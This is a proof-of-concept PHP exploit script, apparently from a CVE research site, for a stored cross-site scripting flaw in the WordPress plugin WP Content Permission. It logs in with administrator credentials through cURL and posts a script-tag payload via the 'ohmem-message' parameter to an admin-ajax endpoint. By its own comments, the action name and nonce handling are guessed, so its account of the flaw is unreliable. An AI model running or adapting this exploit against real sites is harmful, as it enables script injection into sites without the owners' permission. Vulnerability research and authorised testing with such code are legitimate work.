CVE-2026-0743: WP Content Permission <= 1.2 – Authenticated (Administrator+) Stored Cross-Site Scripting via 'ohmem-message' Parameter (wp-content-permission)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0743 - WP Content Permission <= 1.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'ohmem-message' Parameter
<?php
/**
 * Proof of Concept for CVE-2026-0743.
 * ASSUMPTIONS: The vulnerable endpoint is an AJAX handler or admin POST handler.
 * The 'action' parameter name is inferred from common WordPress patterns.
 * The 'ohmem-message' parameter is the injection vector.
 * Administrator credentials are required.
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Configurable target
$username = 'admin'; // Administrator username
$password = 'password'; // Administrator password

// Payload to inject. This is a basic proof-of-concept alert.
$malicious_payload = '<script>alert("Atomic Edge XSS via ohmem-message")</script>';

// Initialize cURL session for login to get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt'); // Store session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');

// First, we need to get the login nonce from wp-login.php. This is a simplified approach.
// A real exploit would parse the login page for the nonce.
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
curl_setopt($ch, CURLOPT_URL, $login_url);
$login_page = curl_exec($ch);

// Prepare login POST data (this is a generic example; real nonce extraction is needed)
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);

// Check if login succeeded (basic check)
if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'admin-ajax.php') === false) {
    echo "[!] Login may have failed. Manual verification required.n";
}

// Now send the exploit to the assumed vulnerable AJAX endpoint.
// The 'action' parameter is guessed based on plugin slug 'wp-content-permission'.
// Common patterns are 'wp_content_permission_save' or 'ohmem_save_message'.
$exploit_data = [
    'action' => 'wp_content_permission_save_settings', // INFERRED ACTION NAME
    'ohmem-message' => $malicious_payload,
    // A nonce parameter might be required but is not mentioned in the CVE description.
    // Its absence could be part of the vulnerability.
    'security' => '' // Placeholder for nonce if needed
];

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$exploit_response = curl_exec($ch);

echo "[*] Sent exploit payload to: $target_urln";
echo "[*] Payload: $malicious_payloadn";
echo "[*] Response length: " . strlen($exploit_response) . " bytesn";
// A successful injection might not return a specific message.

curl_close($ch);
?>